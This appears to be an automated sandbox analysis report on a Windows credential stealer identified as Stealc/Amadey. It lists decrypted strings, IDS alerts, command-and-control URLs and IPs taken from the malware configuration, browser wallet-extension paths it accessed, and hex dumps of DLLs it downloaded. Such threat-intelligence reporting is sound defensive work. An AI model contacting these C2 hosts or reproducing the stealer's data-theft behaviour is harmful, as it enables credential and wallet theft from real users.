Source: 0.2.file.exe.60000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.60000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.60000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.60000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.60000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.60000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDB6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CDB6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.7:49699 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.7:49699 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.7:49699
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.7:49699 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.7:49699
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.7:55236 -> 77.91.77.82:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 77.91.77.82:80 -> 192.168.2.7:55236

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 10:20:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 10:21:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 10:21:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 10:21:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 10:21:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 10:21:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 